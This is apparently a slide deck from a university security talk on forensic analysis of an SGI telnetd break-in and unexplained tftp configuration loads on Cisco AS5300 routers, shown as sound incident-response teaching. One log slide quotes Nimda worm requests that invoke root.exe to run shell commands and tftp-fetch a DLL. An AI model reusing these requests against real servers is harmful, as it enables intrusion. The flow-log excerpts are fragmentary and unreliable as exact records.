Forensic Vulnerability Discovery And Analysis Or… #0w 1 2 $t0p \/\/0rrY1N9 & LOV3 7h3 $p|0i7 !! E. Larry Lidz The University of Chicago

What does that title mean? Someone broke into your fully patched system… now what? This is not a how-to. Most vulnerabilities are discovered by researchers, but… …some are first encountered in the wild. Attackers protect their 0-day ‘sploit binaries.

Two Examples SGI Telnetd –Happened about two years ago. Cisco tftp issue –Happened about a month ago. The emphasis of this talk is on the process of the investigation, not the solutions to the problems.

SGI – The Events Unfold First, a campus-wide scan for port 5232 –5232: the distributed GL daemon –SGI-specific service – at about 21:00 A handful of SGIs were compromised

Network Forensics 02/22/ :10:40 -> 02/22/ :10: f /22/ :11:31 -> 02/22/ :11: dpkeyserv /22/ :12:57 -> 02/22/ :13: shell b /22/ :11:42 -> 02/22/ :13: telnet /22/ :17:11 -> 02/22/ :17: /22/ :17:23 -> 02/22/ :17: /22/ :17:23 -> 02/22/ :17: ssh /22/ :19:14 -> 02/22/ :20: telnet /22/ :23:35 -> 02/22/ :23: telnet f

Network Forensics, II Almost all of the compromised machines showed similar network traffic connections only happened on SGIs. Port 5135 is the SGI Object Server. Rshell always followed the telnet and was always back to the ObjServer scanning machine.

System Forensics “hehe” account added to systems, uid 987 Login was a telnet from /tmp/.new home dir with.cshrc,.profile –System default skeleton stuff Privilege escalation exploit for “df” installed: “as” Compromised machines had “feer” account (uid 112) and a “passwd” account (uid 0), both without pws.

What we know so far…

Theory #1 Theory… –Known SGI Object server exploit Problems… –ObjServer exploit gives root access, so why have the df exploit there? –One of the machines was patched for it. –Two machines were recompromised on the 25 th after being patched. –On March 5 th, a machine with all the latest patches was compromised. They got in, but not as root.

Network Forensics 02/22/ :10:40 -> 02/22/ :10: f /22/ :11:31 -> 02/22/ :11: dpkeyserv /22/ :12:57 -> 02/22/ :13: shell b /22/ :11:42 -> 02/22/ :13: telnet /22/ :17:11 -> 02/22/ :17: /22/ :17:23 -> 02/22/ :17: /22/ :17:23 -> 02/22/ :17: ssh /22/ :19:14 -> 02/22/ :20: telnet /22/ :23:35 -> 02/22/ :23: telnet f

Theory #2 New vulnerability Network logs sort of imply telnet bug given traffic levels. Contact CERT, SGI. SGI releases advisory about telnetd.

And onto…Cisco Logs from one of our Cisco AS5300 modem pool tips that state: –Jul 7 19:30:22 x-mdm.uchicago.edu : Jul 7 19:30:22: %PARSER-4-BADCFG: Unexpected end of configuration file.

Theory #1 The theory… –Someone was tftping a configuration file to the modem pool and didn’t have an “end” at the end of the configuration file. The problem… –We asked everyone with access and no one was on the system at the time.

Log file Analysis All three of our public tips had the following on two different days at three different times: –Configuration from tftp:// / -confg –Configuration from tftp:// / -confg by console –4-5 minutes pass –Configuration from tftp:// /network-confg –Configuration from tftp:// /network-confg by console TACACS logs show no logins to the AS5300s at the time of the tftps. Same person was logged into at each of the three times.

System Forensics “show ver” shows: –System restarted at 06:03:33 GMT Tue Mar System image file is “flash:c5300-js-mz_120-6_5.T4 Host configuration file is “tftp:// / -confg” Network configuration file is “tftp:// /network-confg No reboot recently. Configuration was successfully changed… …but there were no visible changes to the config

Network Forensics No odd connections to the AS5300s from off campus or any of the places on campus where we have network logs. Analysis of audit logs for reveal…

Flow logs 07/10/ :08:17 -> 07/10/ :08: S /10/ :08:17 -> 07/10/ :08: S /10/ :08:17 -> 07/10/ :08: S /10/ :08:17 -> 07/10/ :08: S /10/ :08:17 -> 07/10/ :08: S /10/ :08:17 -> 07/10/ :08: S /10/ :08:32 -> 07/10/ :08: FS-PA-

Argus Logs 10 Jul 02 20:09:37 icmp > TXD 10 Jul 02 20:09:37 icmp > TXD 10 Jul 02 20:09:39 tcp > sSEfR s[64]="GET /scripts/root.exe?/c+tftp%20i% %20GET%20cool.dll%" d[64]="HTTP/ Pragma: no-cache..Cache-Control: no-cache..Content" 10 Jul 02 20:10:25 icmp > URH 10 Jul 02 20:09:42 tcp > sSEfR s[64]="GET /scripts/httpodbc.dll HTTP/1.0..Host: clos" d[64]="HTTP/ Pragma: no-cache..Cache-Control: no- cache..Content" 10 Jul 02 20:09:42 tcp > sSEfFR s[64]="GET /MSADC/root.exe?/c+dir HTTP/1.0..Host: clo" d[64]="HTTP/ Pragma: no-cache..Cache-Control: no- cache..Content"

Other details… Vulnerability analysis of AS5300: –Running old version of code, vulnerable to the big SNMP bug. –Ntp, tacacs, and telnet run on it. No known problems with any of them. Mitigating factors: –Access lists should drop SNMP traffic. (unless spoofed from management vlan) –SNMP writes were disabled.

Theory #2 Nimda machine attacked the AS5300 –New version of Nimda? Seems unlikely, but… Machine attempts to get the routers to configure from it, then attacker (somehow) reboots the AS5300 to get it to use the new config. If a few OIDs were set, tftps could be triggered in such a way to create the logs and “show ver” output. –But SNMP writes were disabled… Maybe it used the SNMP bug? –But why would it log anything then? They can run whatever code they want. Maybe it’s a new bug.

Next… Talk to Cisco… …not much in the way of information from them.

forensics Owner let us borrow it for a few weeks Two partitions: WinME on FAT32, Win2k Server Chinese Edition on NTFS Duplicate disk with hardware disk duplicator. Look at FAT32 partition on different system –Lots of Nimda.E infected files, not much else. –Appears to have been infected from Win2k partition. Boot it up, look at network traffic… nothing.

forensics, NTFS Partition corrupt –We didn’t have identical size disk. –Try to fix it… unable to. Make Ghost image –Not ideal, but should give some information. Investigate on external system –IIS Server infected while dialed into AT&T Our modem pool blocks incoming www. –Lots of Nimda.E, but nothing else.

Theory #3 only infected with Nimda.E. Attack came from outside, AS5300 tftps to broadcast responds. –Perhaps Nimda.E returns payload regardless of filename requested? –If not, Windows tftp server certainly returns an empty file instead of an error. AS5300 updates its tftp server, tries again.

Theory #3 thoughts AS5300 might not be the only target –(if it was, it was an odd choice…) –Nimda isn’t popular on our network, so if we had seen lots of attacks, this might have been the only successful response. We don’t know what a failed attack looks like. Explains why AS5300 config didn’t change. …but… –Looked at network logs for tftps to broadcast. Didn’t see any. Odd as we know some of our routers log all connections.

So… Is this a new attack, or was it just some odd random occurance/user error? If it is an attack, why use tftp? What is the connection to SNMP, if any?

Conclusions It is often really difficult to know what you are seeing. No binaries to pull apart. It’s important to communicate with the vendor… but don’t expect much communication back. You don’t always get the answer in the end.